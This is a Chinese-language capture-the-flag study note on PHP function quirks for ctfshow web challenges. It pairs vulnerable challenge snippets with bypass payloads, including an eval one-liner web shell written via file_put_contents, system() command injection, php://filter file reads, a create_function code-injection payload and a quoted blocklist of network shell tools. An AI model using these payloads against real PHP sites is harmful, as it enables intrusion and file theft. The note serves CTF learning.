php一些特性函数(ctfshow)

目录

preg_match()

intval

strpos()函数

伪协议绕过

array_push  in_array

file_put_contents

call_user_func

bin2hex

sha1()

parse_str

strrev

内置类:

ReflectionClass:反射类,eval("echo new $v1($v2());");

$GLOBALS

is_file()函数检查指定的文件名是否是正常的文件。

trim()

一些符号绕过

stripos函数

Linux tee命令

static 静态类

create_function ()代码注入


preg_match()

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

情况1:get方式传入num参数,然后通过preg_match判断是否存在数字,如果存在,就die,不存在的话然后intval函数判断整数,通过数组绕过preg_match,因为preg_match无法处理数组

情况2:if(preg_match('/^php$/im', $a))  ^ $一个是前面一个是后面,输入必须是php

             if(preg_match('/^php$/i', $a))

/i 表示匹配的时候不区分大小写

/m 表示多行匹配,什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号

这里主要的突破点就是/m,我们可以看到第一个preg_match()函数,有个/m,而第二个正则则没有,我们可以利用换行进行绕过

payload:?cmd=%0aphp

注释:%0a是换行的意思 

情况3:

if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');

.表示任意单个字符,+表示必须匹配1次或多次+?表示 重复1次或更多次,但尽可能少重复

所以在ctfshow前面必须有至少一个字符,才会返回true
所以构造playload:f=ctfshow,即可绕过preg_match函数

intval

情况1:所以intval是支持不同的进制的,这里base指定是0,那么intval会根据我们输入情况使用进制,

所以这里我就就可以用16进制或八进制表示4476

?num=0×117c    //十六进制
?num=010574    //八进制

intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476

?num=4476a    //字符串

情况2:在弱比较中(==),4476a与4476相等

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

if($num==4476){ // 4476e123=4476×10^123 显然不等于4476,成功绕过

if(intval($num,0)==4476){ //intval在处理数据时,只读取字母前面的数据,即4476,ok

?num=0x117c    //十六进制
?num=010574    //八进制
?num=4476e123

strpos()函数

对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574
也可以小数点绕过
payload:?num=4476.0
因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010574
?num= 010574 // 前面加个空格
?num=+010574 
?num=+4476.0

可以空格或者,%20(空格的编码)绕过

?num= 010574

伪协议绕过

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
?u=/var/www/html/flag.php              绝对路径
?u=./flag.php                          相对路径
?u=php://filter/resource=flag.php      php伪协议 

array_push  in_array

array_push($allow, rand(1,$i)); 是把rand(1,$i)产生随机数,存入数组allow

in_array(value,array,type)     弱比较特性,'0.php'==0

value :要搜索的值

array : 被搜索的数组

type : 类型,true全等 ,false非全等(默认)

in_array($_GET['n'], $allow)是可以看allow数组中,是否可以组成n,比如n是123,而数组有,1,2,3则正确       

file_put_contents

ile_put_contents() 函数用于把字符串写入文件,成功返回写入到文件内数据的字节数,失败则返回 FALSE。

int file_put_contents ( string filename, string data [, int flags [, resource context]] )  写入哪,写什么

file_put_contents($_GET['n'], $_POST['content']);

?n=123.php
post传参
content=<?php @eval($_POST[a]);?>
a=system('ls');
a=system('cat flag36d.php');
或者
?n=1.php
post传参
content=<?php system('cat flag36d.php');?>

把 一句话木马写到,123.php

call_user_func

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

bin2hex

把十六进制值转换为 ASCII 字符

例如:<?php
echo hex2bin("5044383959474e6864434171594473");
?>     就是它<?='cat *';

v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)也是可以识别为数字的

sha1()

sha1()函数无法处理数组类型,将报错并返回false
sha1()函数的弱相等

if(sha1($v1)==sha1($v2) && $v1!=$v2)  

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m  都是符合

parse_str

parse_str — 将字符串解析成多个变量

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456
parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;

例如,这里就可以通过,让 v3等于 1,而v2却决与v1,v1=flag=1的md5 32位编码 ,或者弱比较也可以绕过

?v3=QNKCDZO
v1=flag=0e830400451993494058024219903391

strrev

0x36d的十进制为877,strrev是反转字符串,778

内置类:

ReflectionClass:反射类,eval("echo new $v1($v2());");

?v1=ReflectionClass&v2=system('ls')
?v1=ReflectionClass&v2=system('cat fl36dg.txt')

FilesystemIterator

获取目录文件

getcwd()函数取得当前工作目录getcwd()函数

?v1=FilesystemIterator&v2=getcwd
之后访问fl36dga.txt

联合使用,和Filesystemlterator

$GLOBALS

引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键

$a=123;
$b=456;
var_dump($GLOBALS);

["a"]=>
  int(123)
  ["b"]=>
  int(456)

is_file()函数检查指定的文件名是否是正常的文件。

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议

if(! is_file($file)){
    highlight_file(filter($file));
}
可以直接用不带任何过滤器的filter伪协议
payload:file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

trim()

if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

看见 num!=='36'  后面又又num=='36' 会很矛盾,但其实前面是一个强比较,后面是一个弱比较

弱比较会过滤前面没用的字符,

发现除了±.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了

?num=%0C36

一些符号绕过

php中点、空格,会被转化为下划线,【应该也可以,在下划线被过滤时有用

stripos函数

采用数组绕过的方法,stripos函数会返回null,null!=false,所以可以绕过stripos函数

查找字符串在另一字符串中第一次出现的位置(不区分大小写)

 if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
get传参:
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../var/www/html/flag.php
?f=./ctfshow/../flag.php

Linux tee命令

常见用例: tee file //覆盖

tee -a file //追加

tee - //输出到标准输出两次 tee - - //输出到标准输出三次

tee file1 file2 - //输出到标准输出两次,并写到那两个文件中

ls | tee file

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 
?c=ls \|tee 1
//将根目录下的内容写入1
访问1,下载文件发现f149_15_h3r3
?c=nl /f149_15_h3r3|tee 1        或者?c=cat / fl4g....
访问1,下载文件得flag

static 静态类

class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

静态类,可以直接调用,不需要实例化对象就可以绕过不执行魔术方法

POST传参:
ctfshow=ctfshow::getFlag

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

 所以同样是绕过,用静态,

POST传参:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

create_function ()代码注入


highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {         不能以字母开头
        $ctfshow('',$_GET['show']);
    }

} 

原理 就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

GET:?show=}system("cat f*");/*         }是闭合前面的if, /*是注释后面的}
POST:ctf=\create_function


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值